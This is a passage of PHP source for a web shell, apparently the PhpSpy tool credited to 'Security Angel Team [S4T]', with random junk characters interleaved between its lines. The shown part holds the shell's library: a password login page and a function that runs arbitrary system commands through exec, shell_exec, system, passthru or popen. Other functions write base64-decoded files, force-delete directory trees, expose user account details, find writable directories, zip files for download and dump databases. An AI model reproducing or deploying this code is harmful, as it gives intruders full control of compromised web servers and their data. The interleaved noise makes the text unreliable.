      6 V/ M. h6 V8 R8 l' `9 X) F0 Q* u
1295.         for($a=0;$a<2;$a++) {
      
1296.                 p('<h2>'.$hp[$a].' »</h2>');
      9 e5 a( A# W; O; ?/ w: W
1297.                 p('<ul class="info">');
      
1298.                 if ($a==0) {
      + x5 w& h$ g( ]" E3 Y9 {  ]# b
1299.                         for($i=1;$i<=9;$i++) {
      0 N6 \! V, d6 {7 Y/ b2 o
1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1301.                         }
      
1302.                 } elseif ($a == 1) {
      
1303.                         for($i=10;$i<=23;$i++) {
      , ?+ i% o$ U% U  q
1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
      
1305.                         }
      : v: j# m' A9 m9 f* _' m' B6 T0 \
1306.                 }
      ' r6 Q: k) ], T8 \" d9 W4 Q! b
1307.                 p('</ul>');
      - {- ~/ d' k# ]& G5 Q( T
1308.         }
      
1309. }//end phpenv
      
1310. 
      
1311. else {
      
1312.         m('Undefined Action');
      
1313. }
      ! S, C9 o* b. q
1314. 
      ( @' V& p: j! F
1315. ?>
      
1316. </td></tr></table>
      - R3 J( @: ]6 @' z/ k: f' @
1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
      1 ]9 M! g  f: h& k% N3 e- g
1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
      ; S7 L' V; \$ n
1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
      6 A: y* a8 j5 y( `9 M
1320. </div>
      ' X" g+ b( Y$ Y: M% n, |
1321. </body>
      
1322. </html>
      # c: x, @" {% f" r5 K- Z2 n, r0 }" |
1323. 
      
1324. <?php
      # E8 r  v+ z+ V& j8 m5 K* O
1325. 
      
1326. /*======================================================
      ) h4 @& E3 X$ R& [8 F
1327. 函数库
      
1328. ======================================================*/
      
1329. 
      
1330. function m($msg) {
      
1331.         echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
      
1332.         echo $msg;
      
1333.         echo '</div>';
      
1334. }
      7 W. Z2 W: e; W4 `; [
1335. function scookie($key, $value, $life = 0, $prefix = 1) {
      - i% x) m! H. s; s# j9 ]" n% {
1336.         global $admin, $timestamp, $_SERVER;
      2 A8 v) i" K" H, U7 {- [. {
1337.         $key = ($prefix ? $admin['cookiepre'] : '').$key;
      * e3 T* {* ]3 ?5 F& {
1338.         $life = $life ? $life : $admin['cookielife'];
      
1339.         $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
      
1340.         setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
      + `; G6 }& l) T# F( \7 _
1341. }       
      3 W( H; y2 G5 j
1342. function multi($num, $perpage, $curpage, $tablename) {
      
1343.         $multipage = '';
      
1344.         if($num > $perpage) {
      5 b$ w) @+ Q* l9 R
1345.                 $page = 10;
      $ Z3 @4 Q' \1 W
1346.                 $offset = 5;
      
1347.                 $pages = @ceil($num / $perpage);
      0 i4 p8 s- P5 j( q
1348.                 if($page > $pages) {
      
1349.                         $from = 1;
      
1350.                         $to = $pages;
      . d+ X; U7 t- D
1351.                 } else {
      
1352.                         $from = $curpage - $offset;
        u5 f- m8 Q1 {3 v
1353.                         $to = $curpage + $page - $offset - 1;
      
1354.                         if($from < 1) {
      8 N/ C0 x& ~4 J. t' s# a
1355.                                 $to = $curpage + 1 - $from;
      4 `8 E* r% f( a; Z1 W7 V
1356.                                 $from = 1;
      # F% H) x, G3 O2 V* K
1357.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1358.                                         $to = $page;
      9 Q! A3 N2 h7 d6 d7 [$ Y
1359.                                 }
      $ }3 A/ M& X: ?8 ?4 ^
1360.                         } elseif($to > $pages) {
      
1361.                                 $from = $curpage - $pages + $to;
      
1362.                                 $to = $pages;
      " g6 ~# W  t2 j
1363.                                 if(($to - $from) < $page && ($to - $from) < $pages) {
      
1364.                                         $from = $pages - $page + 1;
      
1365.                                 }
      
1366.                         }
      
1367.                 }
      ( {/ I; S0 `/ a$ |. v0 g
1368.                 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
      4 \' T2 d$ H9 i
1369.                 for($i = $from; $i <= $to; $i++) {
      
1370.                         $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
      
1371.                 }
      
1372.                 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
      
1373.                 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
      : n% W3 |7 o6 q; S3 B5 h
1374.         }
      
1375.         return $multipage;
      & h( @/ o0 {" i' z4 i8 v/ l" Z
1376. }
      
1377. // 登陆入口
      
1378. function loginpage() {
      : v5 X  [" l3 {/ i. E% I1 S5 g
1379. ?>
      ( B( u: x$ ~. i! P6 g' N5 x( O
1380.         <style type="text/css">
      ! W8 J! P) d0 `3 V+ g8 Q4 i3 v) l
1381.         input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
      7 y3 ~; i9 v% P- D3 C% m
1382.         </style>
      
1383.         <form method="POST" action="">
      9 o* T% ~9 p" J. v0 J
1384.         <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
      
1385.         <input type="hidden" name="doing" value="login">
      9 g8 V" \0 d$ u) @$ K) C
1386.         <input type="submit" value="Login">
      5 c' F1 Q3 Z6 P  J9 }6 t
1387.         </form>
      
1388. <?php
      * e" J) t1 w* Q' p  Y3 x
1389.         exit;
      9 q% P  D  ]6 b2 p: d, k& p
1390. }//end loginpage()
      6 u0 y7 p$ Z4 Z
1391. 
      
1392. function execute($cfe) {
      
1393.         $res = '';
      9 u! S4 W0 B4 k
1394.         if ($cfe) {
      2 D  e# J3 H/ {" F
1395.                 if(function_exists('exec')) {
      - m- S) c7 l3 f8 M# Q3 ?
1396.                         @exec($cfe,$res);
      0 d: J4 q. g" V+ J5 a+ v
1397.                         $res = join("\n",$res);
      
1398.                 } elseif(function_exists('shell_exec')) {
      - Z3 x% u3 S9 R$ S# q7 e9 J
1399.                         $res = @shell_exec($cfe);
      
1400.                 } elseif(function_exists('system')) {
      9 {' y7 J8 ^  ]% _; g3 O/ G
1401.                         @ob_start();
      6 L2 M% N3 c- Y" e$ }
1402.                         @system($cfe);
      + k9 [1 z4 R4 B6 Y! h; K  s6 J
1403.                         $res = @ob_get_contents();
      
1404.                         @ob_end_clean();
      0 b1 k( t: p4 L+ [' C& g3 P
1405.                 } elseif(function_exists('passthru')) {
      
1406.                         @ob_start();
      
1407.                         @passthru($cfe);
      + ]6 [# B& U7 X
1408.                         $res = @ob_get_contents();
      
1409.                         @ob_end_clean();
      
1410.                 } elseif(@is_resource($f = @popen($cfe,"r"))) {
      
1411.                         $res = '';
      7 D& s7 z: V* u* x' e2 c. ?
1412.                         while(!@feof($f)) {
      
1413.                                 $res .= @fread($f,1024);
      
1414.                         }
      + R+ N, Q3 }. f4 |6 ~; {- a0 F
1415.                         @pclose($f);
      # ]# m2 I0 v+ D2 }: Q
1416.                 }
      7 e: [; V. V2 A5 k2 F& n- e6 ~# y
1417.         }
      ) Q4 |) J( G* |* w; }5 {9 q. |) H
1418.         return $res;
      , U) D/ i& Y4 |, n, `1 N
1419. }
      3 x3 y2 l9 y3 o( o0 }! p  }
1420. function which($pr) {
      / n: Q3 \+ z2 K4 n( D6 K# Z& J9 Q' M1 C
1421.         $path = execute("which $pr");
      8 V( r- D! {, v
1422.         return ($path ? $path : $pr);
      9 [3 k! ~  p) x4 ]- j
1423. }
      
1424. 
      / Q: G4 r1 c8 b. v
1425. function cf($fname,$text){
      
1426.         if($fp=@fopen($fname,'w')) {
      
1427.                 @fputs($fp,@base64_decode($text));
      " W0 {0 m% F) U9 r
1428.                 @fclose($fp);
      
1429.         }
      
1430. }
      
1431. 
      9 Q6 F# B" K. \  ?! z! D
1432. // 页面调试信息
      
1433. function debuginfo() {
      * d: L1 h4 }/ g( X2 ?5 w6 u# N
1434.         global $starttime;
      
1435.         $mtime = explode(' ', microtime());
      ' J: y0 e  i. e  L: d
1436.         $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
      
1437.         echo 'Processed in '.$totaltime.' second(s)';
      
1438. }
      5 t) L6 Z; d* C) B+ G
1439. 
      
1440. //连接数据库
      
1441. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
      
1442.         if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
      ) ?* u; N6 Q- u0 d# C- e$ }
1443.                 p('<h2>Can not connect to MySQL server</h2>');
      $ ^/ o! b9 H  Q! ^+ J/ s% P
1444.                 exit;
      
1445.         }
        M) J- F& l) C. _& V3 @
1446.         if($link && $dbname) {
      ; g* ?  T# [- |( O" D* P
1447.                 if (!@mysql_select_db($dbname, $link)) {
      
1448.                         p('<h2>Database selected has error</h2>');
      ( @5 e4 f% y5 z( M+ o
1449.                         exit;
      
1450.                 }
      
1451.         }
      / c  v& d: O( H
1452.         if($link && mysql_get_server_info() > '4.1') {
      
1453.                 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
      / e6 Q2 a# J) m7 I0 T
1454.                         q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
      
1455.                 }
      5 L1 N" e3 [; j' A' L2 S/ I! X2 P
1456.         }
      
1457.         return $link;
      4 M/ f, h7 o& o3 G, ]: g3 O
1458. }
      
1459. 
      
1460. // 去掉转义字符
      
1461. function s_array(&$array) {
      ' L* e4 ]: i, L& Q# W0 T" E
1462.         if (is_array($array)) {
      
1463.                 foreach ($array as $k => $v) {
      4 i5 S/ v* t" v4 j7 k
1464.                         $array[$k] = s_array($v);
      5 C/ P4 I/ m  C. @2 h6 ~1 H3 X1 V3 q
1465.                 }
      4 W0 ?5 K9 G4 n0 S
1466.         } else if (is_string($array)) {
        `" U' d% U( q" s, O: ^; m
1467.                 $array = stripslashes($array);
      - L5 X4 y- o1 U
1468.         }
      
1469.         return $array;
      7 p! i1 ^" t* {3 J% `2 }
1470. }
      2 {; r+ }) g0 S: Q
1471. 
      
1472. // 清除HTML代码
      0 E9 Q! V2 N: ^
1473. function html_clean($content) {
      
1474.         $content = htmlspecialchars($content);
      
1475.         $content = str_replace("\n", "<br />", $content);
      8 x6 v+ C0 r- K+ ?
1476.         $content = str_replace("  ", "  ", $content);
      9 U& O2 a& Z+ |% ~4 r9 e, i7 `
1477.         $content = str_replace("\t", "    ", $content);
      
1478.         return $content;
      
1479. }
      , a, X" w) H* _
1480. 
      4 b( s0 C: a- P+ r# _
1481. // 获取权限
      
1482. function getChmod($filepath){
      
1483.         return substr(base_convert(@fileperms($filepath),10,8),-4);
      4 P, o; B; B1 B& o8 ~
1484. }
      
1485. 
      5 @& k. F  b$ K0 T* J
1486. function getPerms($filepath) {
      1 |6 @( _# G& o
1487.         $mode = @fileperms($filepath);
      1 t8 `% x4 F1 \( M+ E9 C
1488.         if (($mode & 0xC000) === 0xC000) {$type = 's';}
      2 l+ b2 t- t8 z2 T
1489.         elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
      0 s: i# N8 X3 L1 E
1490.         elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
      7 L' j* s+ n+ S8 O
1491.         elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
      $ X* |5 N8 Q2 j4 b( v3 h. C/ |
1492.         elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
      
1493.         elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
      
1494.         elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
      
1495.         else {$type = '?';}
      " N! l2 a. }( h- d
1496. 
      2 B2 @* t3 d2 J0 ?4 _( `6 U2 W- D
1497.         $owner['read'] = ($mode & 00400) ? 'r' : '-';
      1 y: Y( A; J. R4 g3 E' ?
1498.         $owner['write'] = ($mode & 00200) ? 'w' : '-';
      5 ]* A2 \! y9 s  d- c
1499.         $owner['execute'] = ($mode & 00100) ? 'x' : '-';
      ; i1 \4 i0 [6 H* e# l- r+ M  I/ k. q5 [
1500.         $group['read'] = ($mode & 00040) ? 'r' : '-';
      # m" |! W" V0 d( z; |8 j  ]8 L. C' B
1501.         $group['write'] = ($mode & 00020) ? 'w' : '-';
      ! R7 W% h% D) V# d( l
1502.         $group['execute'] = ($mode & 00010) ? 'x' : '-';
      
1503.         $world['read'] = ($mode & 00004) ? 'r' : '-';
      
1504.         $world['write'] = ($mode & 00002) ? 'w' : '-';
      
1505.         $world['execute'] = ($mode & 00001) ? 'x' : '-';
      
1506. 
      
1507.         if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
      
1508.         if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
      , E* O5 V( ?: R# b7 Y# c5 |. q7 q
1509.         if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
      
1510. 
      
1511.         return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
      * e3 }/ q/ P# E! X3 i
1512. }
      
1513. 
      0 Q4 }# q! \) U3 n& P* s2 D/ l
1514. function getUser($filepath)        {
      
1515.         if (function_exists('posix_getpwuid')) {
      
1516.                 $array = @posix_getpwuid(@fileowner($filepath));
      0 m, R& Q1 n6 ?; ?
1517.                 if ($array && is_array($array)) {
      : P& n: Y+ N, M" Y
1518.                         return ' / <a href="#" title="User: '.$array['name'].'
      7 O' I) ~. F* h6 ]1 y/ B
1519. Passwd: '.$array['passwd'].'
      - e; C2 a% I/ r
1520. Uid: '.$array['uid'].'
      
1521. gid: '.$array['gid'].'
      ' h# f7 |5 m' S! u' Q, X: ~0 D$ @
1522. Gecos: '.$array['gecos'].'
        W$ a7 j) {  A! p2 e
1523. Dir: '.$array['dir'].'
      
1524. Shell: '.$array['shell'].'">'.$array['name'].'</a>';
      " T, n+ X$ |. J: ]; @+ n
1525.                 }
      
1526.         }
      & M- Q$ x7 h# b+ }$ ?$ R. r7 ?
1527.         return '';
      
1528. }
      
1529. 
      
1530. // 删除目录
      
1531. function deltree($deldir) {
      ( ^! S4 f8 W5 O1 f2 i
1532.         $mydir=@dir($deldir);       
      
1533.         while($file=$mydir->read())        {                
      8 q2 d3 y1 m. n/ C6 {/ H
1534.                 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
      
1535.                         @chmod($deldir.'/'.$file,0777);
      
1536.                         deltree($deldir.'/'.$file);
      / a& }6 p( r7 t; K* M+ m4 m3 y/ Y
1537.                 }
      ' G2 ]* v/ q. x1 s5 u: c: u
1538.                 if (is_file($deldir.'/'.$file)) {
      
1539.                         @chmod($deldir.'/'.$file,0777);
      
1540.                         @unlink($deldir.'/'.$file);
      3 a, ^9 ~5 K2 ?( n
1541.                 }
      ) o+ {7 O& v7 v, q' M5 C. G* r: ^
1542.         }
      
1543.         $mydir->close();
        V" c6 \" j, [$ P! P3 ^- G5 O
1544.         @chmod($deldir,0777);
      " V& _1 H; A% U7 T
1545.         return @rmdir($deldir) ? 1 : 0;
      6 ^- h* i2 n, L5 D
1546. }
      
1547. 
      & v" H% [5 h1 U
1548. // 表格行间的背景色替换
      8 @( w% o; z6 T- Y1 e
1549. function bg() {
      ' ]; T- N- ]' c- N2 a" w
1550.         global $bgc;
      
1551.         return ($bgc++%2==0) ? 'alt1' : 'alt2';
      
1552. }
      
1553. 
      
1554. // 获取当前的文件系统路径
      
1555. function getPath($scriptpath, $nowpath) {
      
1556.         if ($nowpath == '.') {
      * ], d( `8 U6 i
1557.                 $nowpath = $scriptpath;
      
1558.         }
      2 _7 K" N, V" ?
1559.         $nowpath = str_replace('\\', '/', $nowpath);
      
1560.         $nowpath = str_replace('//', '/', $nowpath);
      
1561.         if (substr($nowpath, -1) != '/') {
      ) W4 X* I% |" G) P7 e; i
1562.                 $nowpath = $nowpath.'/';
      
1563.         }
      7 l" {6 V) D/ e9 _
1564.         return $nowpath;
      
1565. }
      
1566. 
      
1567. // 获取当前目录的上级目录
      7 o& w7 f4 \4 W3 a7 S7 U4 W
1568. function getUpPath($nowpath) {
      
1569.         $pathdb = explode('/', $nowpath);
      
1570.         $num = count($pathdb);
      5 v$ c0 W7 P: C/ M# g
1571.         if ($num > 2) {
      ' \5 M, h0 N! W; G5 V1 Q
1572.                 unset($pathdb[$num-1],$pathdb[$num-2]);
      
1573.         }
      % }- s: f! E/ [$ e$ U9 W1 o+ P
1574.         $uppath = implode('/', $pathdb).'/';
      
1575.         $uppath = str_replace('//', '/', $uppath);
      . h+ g1 u" d+ U1 g; B- n& P5 L" k. O
1576.         return $uppath;
      ! ^8 f- @/ G7 S5 U; i
1577. }
      
1578. 
      
1579. // 检查PHP配置参数
      ) p1 y5 N* F$ _; P( z( w) f/ P
1580. function getcfg($varname) {
      , i5 g6 ^# z1 `
1581.         $result = get_cfg_var($varname);
      
1582.         if ($result == 0) {
      4 A$ D, g1 b; K- n. y5 a
1583.                 return 'No';
      # M& O2 w( G+ _/ j) T. I
1584.         } elseif ($result == 1) {
      
1585.                 return 'Yes';
      ; t5 ~) s) _2 o8 z
1586.         } else {
      
1587.                 return $result;
      " t) z  o- ~6 P- A
1588.         }
      
1589. }
      
1590. 
      
1591. // 检查函数情况
      
1592. function getfun($funName) {
      4 Y5 G( n1 ~+ J9 g6 C4 K# H: U
1593.         return (false !== function_exists($funName)) ? 'Yes' : 'No';
      / D# X1 l3 K: P; a2 Z! n. B
1594. }
      
1595. 
      3 a- d9 H; |8 U7 R
1596. function GetList($dir){
        c+ Q, ?6 S1 G1 i& I  x6 F
1597.         global $dirdata,$j,$nowpath;
      
1598.         !$j && $j=1;
      - n% U! u" |9 k  D5 i
1599.         if ($dh = opendir($dir)) {
      
1600.                 while ($file = readdir($dh)) {
      6 L7 ?7 M: V. c0 [  S% U
1601.                         $f=str_replace('//','/',$dir.'/'.$file);
      
1602.                         if($file!='.' && $file!='..' && is_dir($f)){
      , p. D, ?" @+ S( \- Y9 h) x* t2 _" T
1603.                                 if (is_writable($f)) {
      
1604.                                         $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
      8 M( i% h' \3 N  b; g  {
1605.                                         $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
      " B- |5 b7 q7 d0 ]4 G8 K6 \- e
1606.                                         $dirdata[$j]['dirchmod']=getChmod($f);
      0 n4 D7 ^0 T7 I# B
1607.                                         $dirdata[$j]['dirperm']=getPerms($f);
      : U6 q+ _, D5 U" ~% A0 N
1608.                                         $dirdata[$j]['dirlink']=ue($dir);
      $ L: N) K+ E$ J9 |  k
1609.                                         $dirdata[$j]['server_link']=$f;
      ) |. T( w$ w/ \) F- {! u4 z6 Y& S
1610.                                         $dirdata[$j]['client_link']=ue($f);
      3 y3 K0 z) q# X5 L4 h
1611.                                         $j++;
      
1612.                                 }
      9 J5 ~3 _: d% W/ t. e
1613.                                 GetList($f);
      8 Z! l4 X* w$ M8 c! K
1614.                         }
      3 z+ h; s. q0 K. S2 \3 s+ m
1615.                 }
      
1616.                 closedir($dh);
      
1617.                 clearstatcache();
      # B$ a3 z8 s5 b9 I0 l. u2 c
1618.                 return $dirdata;
      
1619.         } else {
      ) H7 n6 i* s$ ?# t3 G. J8 ~# Y* ~
1620.                 return array();
      
1621.         }
        a" M; n2 d0 X/ e" c
1622. }
      
1623. 
      
1624. function qy($sql) {
      
1625.         //echo $sql.'<br>';
      / O: G0 _- y; \4 P2 Z! U2 T% g
1626.         $res = $error = '';
      
1627.         if(!$res = @mysql_query($sql)) {
      
1628.                 return 0;
      
1629.         } else if(is_resource($res)) {
      7 w) K& s# |! a( q; A
1630.                 return 1;
      
1631.         } else {
      
1632.                 return 2;
      
1633.         }       
      
1634.         return 0;
      
1635. }
      
1636. 
      + j  u* M( |, x: o0 J* ^
1637. function q($sql) {
      
1638.         return @mysql_query($sql);
      / j! D# Z  @( X
1639. }
      7 K% |# }- {9 Y" Q7 i
1640. 
      1 h6 P' t7 O, K
1641. function fr($qy){
      
1642.         mysql_free_result($qy);
      
1643. }
      
1644. 
      ) C. X* H' J0 E
1645. function sizecount($size) {
      
1646.         if($size > 1073741824) {
      
1647.                 $size = round($size / 1073741824 * 100) / 100 . ' G';
      9 `# L" N4 ~! @& p6 g* t
1648.         } elseif($size > 1048576) {
      
1649.                 $size = round($size / 1048576 * 100) / 100 . ' M';
      2 }. u3 K# i$ {+ _1 s
1650.         } elseif($size > 1024) {
      
1651.                 $size = round($size / 1024 * 100) / 100 . ' K';
        q$ K+ }; z: K  G* X1 V
1652.         } else {
      
1653.                 $size = $size . ' B';
      
1654.         }
      
1655.         return $size;
      
1656. }
      / X( z" F5 J3 i
1657. 
      + q6 m2 @  @( x, Z1 z2 K
1658. // 压缩打包类
      
1659. class PHPZip{
      2 T+ Z  a+ J; I) D
1660.         var $out='';
      % m9 F- _1 K1 ?6 y5 k, O( j
1661.         function PHPZip($dir)        {
      . l( [$ ^  c& _$ B, z6 V$ U
1662.                 if (@function_exists('gzcompress'))        {
        S( V4 f! k5 d. x8 x( o$ f
1663.                         $curdir = getcwd();
      
1664.                         if (is_array($dir)) $filelist = $dir;
      5 \* w! e( o' k$ b
1665.                         else{
      * [. v4 q' W" J8 u) \
1666.                                 $filelist=$this -> GetFileList($dir);//文件列表
      
1667.                                 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
      8 X9 b: K- `# P$ p. Z' b6 y
1668.                         }
      
1669.                         if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
      
1670.                         else chdir($curdir);
      4 t+ Y; U* O; s; H
1671.                         if (count($filelist)>0){
      + ]+ A! C+ u; O# B7 o5 F5 X
1672.                                 foreach($filelist as $filename){
      
1673.                                         if (is_file($filename)){
      # p1 w* t  B  g( j4 O
1674.                                                 $fd = fopen ($filename, 'r');
      
1675.                                                 $content = @fread ($fd, filesize($filename));
      / R( N% S4 J5 b  D* O- }4 A' L
1676.                                                 fclose ($fd);
      / o/ D" J1 M2 T5 b+ R4 E0 ]- p
1677.                                                 if (is_array($dir)) $filename = basename($filename);
      
1678.                                                 $this -> addFile($content, $filename);
      
1679.                                         }
      ' ^; z5 `6 y$ {: s6 r$ Z/ Z' Z
1680.                                 }
      
1681.                                 $this->out = $this -> file();
      
1682.                                 chdir($curdir);
      
1683.                         }
      & \, f# N) f6 i( e4 G
1684.                         return 1;
      ; H3 {0 |: W& E
1685.                 }
      
1686.                 else return 0;
      
1687.         }
      5 `; H; [1 Y  |, e2 X
1688. 
      1 p% r# e, a) a& \
1689.         // 获得指定目录文件列表
      , H1 i6 h9 ~, ^. l6 U
1690.         function GetFileList($dir){
      4 O$ t! l. Z% F% u8 k% ^' f
1691.                 static $a;
      / {8 A2 l# ^5 P* \1 I" f3 ^% |
1692.                 if (is_dir($dir)) {
      
1693.                         if ($dh = opendir($dir)) {
      ' G% T5 _* |3 h) H1 f
1694.                                 while ($file = readdir($dh)) {
      
1695.                                         if($file!='.' && $file!='..'){
      ( f; _2 P) i7 T+ D" g1 q; T
1696.                                                 $f=$dir .'/'. $file;
      
1697.                                                 if(is_dir($f)) $this->GetFileList($f);
      * T3 w% g; m3 Z% S: S
1698.                                                 $a[]=$f;
      
1699.                                         }
      
1700.                                 }
      ; R, c- A0 N+ P4 F/ t
1701.                                 closedir($dh);
      
1702.                         }
      + ]! j. v: X& t0 D9 Q) c
1703.                 }
      
1704.                 return $a;
      
1705.         }
      
1706. 
      # y! x+ D# s4 ~; e( ?
1707.         var $datasec      = array();
      ( e- |7 h- Y/ d( I/ O3 F
1708.         var $ctrl_dir     = array();
      5 R! W- }/ p7 V+ |
1709.         var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
      
1710.         var $old_offset   = 0;
      * b4 d  _5 [& O8 w) E# p0 B1 o; t
1711. 
      $ F' C& N6 b, I6 J6 e3 M
1712.         function unix2DosTime($unixtime = 0) {
      ! p$ u6 i% j# D1 ?, M
1713.                 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
      
1714.                 if ($timearray['year'] < 1980) {
      
1715.                         $timearray['year']    = 1980;
      
1716.                         $timearray['mon']     = 1;
      - \8 q1 o& P4 z* I% O
1717.                         $timearray['mday']    = 1;
      
1718.                         $timearray['hours']   = 0;
      
1719.                         $timearray['minutes'] = 0;
      4 N% A, u: C) m
1720.                         $timearray['seconds'] = 0;
      $ k; ^, g# X. \  c8 l6 x
1721.                 } // end if
      
1722.                 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
      
1723.                                 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
      5 Z, }. ^/ X, [" y  {. ]/ _
1724.         }
      
1725.         function addFile($data, $name, $time = 0) {
      ) k& w" f7 \7 a, U
1726.                 $name = str_replace('\\', '/', $name);
      
1727.                 $dtime = dechex($this->unix2DosTime($time));
      5 L7 q2 @, J5 w" V
1728.                 $hexdtime        = '\x' . $dtime[6] . $dtime[7]
      
1729.                                         . '\x' . $dtime[4] . $dtime[5]
      
1730.                                         . '\x' . $dtime[2] . $dtime[3]
      9 s' V; [- G4 N& m7 P
1731.                                         . '\x' . $dtime[0] . $dtime[1];
      
1732.                 eval('$hexdtime = "' . $hexdtime . '";');
      
1733.                 $fr        = "\x50\x4b\x03\x04";
      5 T4 B. ]* t5 H! W, \6 y
1734.                 $fr        .= "\x14\x00";
      ! `8 w5 m; Q0 M' g
1735.                 $fr        .= "\x00\x00";
      , J! J' M) |$ h) X
1736.                 $fr        .= "\x08\x00";
      
1737.                 $fr        .= $hexdtime;
      
1738.                 $unc_len = strlen($data);
      7 r$ g# W' x6 O* @4 x
1739.                 $crc = crc32($data);
      * O1 w& _9 W$ p! n
1740.                 $zdata = gzcompress($data);
      
1741.                 $c_len = strlen($zdata);
      
1742.                 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
      
1743.                 $fr .= pack('V', $crc);
      , e: B* y8 T8 a5 j
1744.                 $fr .= pack('V', $c_len);
      1 P1 }% X3 E! d' N% P! D) Y
1745.                 $fr .= pack('V', $unc_len);
      1 E6 e5 N2 `3 ^( b5 D
1746.                 $fr .= pack('v', strlen($name));
      + Z* b. ^/ l2 S* z+ u, K5 y
1747.                 $fr .= pack('v', 0);
      
1748.                 $fr .= $name;
      
1749.                 $fr .= $zdata;
      8 x3 j" W, [# y$ ~
1750.                 $fr .= pack('V', $crc);
      2 f% H! b& y2 U5 I2 C2 o' X1 V
1751.                 $fr .= pack('V', $c_len);
      
1752.                 $fr .= pack('V', $unc_len);
      
1753.                 $this -> datasec[] = $fr;
      
1754.                 $new_offset = strlen(implode('', $this->datasec));
      # H! _0 Y2 T  q& ~  ^- B% o
1755.                 $cdrec = "\x50\x4b\x01\x02";
      
1756.                 $cdrec .= "\x00\x00";
      
1757.                 $cdrec .= "\x14\x00";
      
1758.                 $cdrec .= "\x00\x00";
      
1759.                 $cdrec .= "\x08\x00";
      
1760.                 $cdrec .= $hexdtime;
      + h# h6 Z  f# l5 S7 p( X7 G9 c
1761.                 $cdrec .= pack('V', $crc);
      
1762.                 $cdrec .= pack('V', $c_len);
      
1763.                 $cdrec .= pack('V', $unc_len);
      ' t+ u+ S" b" V4 H) s  |) _* b
1764.                 $cdrec .= pack('v', strlen($name) );
      
1765.                 $cdrec .= pack('v', 0 );
      
1766.                 $cdrec .= pack('v', 0 );
      % a) j7 H* v' R' t
1767.                 $cdrec .= pack('v', 0 );
      ) [* _% ^/ B3 t5 d
1768.                 $cdrec .= pack('v', 0 );
      
1769.                 $cdrec .= pack('V', 32 );
      . @" X2 a- q/ p8 _1 {# l1 y8 N
1770.                 $cdrec .= pack('V', $this -> old_offset );
      
1771.                 $this -> old_offset = $new_offset;
      
1772.                 $cdrec .= $name;
      $ C8 }8 F# Q' {6 D: r& T
1773.                 $this -> ctrl_dir[] = $cdrec;
      ; O$ F$ @5 X! k
1774.         }
      1 g# \7 l! G! D4 R
1775.         function file() {
      
1776.                 $data    = implode('', $this -> datasec);
      2 J9 F  S5 O2 ]/ g/ v0 t8 F& H
1777.                 $ctrldir = implode('', $this -> ctrl_dir);
      
1778.                 return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) .        pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
      
1779.         }
      8 O) M; r% N$ O5 n/ I. M4 V
1780. }
      
1781. // 备份数据库
      
1782. function sqldumptable($table, $fp=0) {
      . ?6 U' j3 [# v9 g, x: l0 I
1783.         $tabledump = "DROP TABLE IF EXISTS $table;\n";
      & E- @( u$ m3 O* b3 s% R0 e; K
1784.         $tabledump .= "CREATE TABLE $table (\n";
      
1785.         $firstfield=1;
      # k- R  [9 w) t: i) R
1786.         $fields = q("SHOW FIELDS FROM $table");
      : ~% J3 c0 d& v3 Z7 V  D) ~' p
1787.         while ($field = mysql_fetch_array($fields)) {
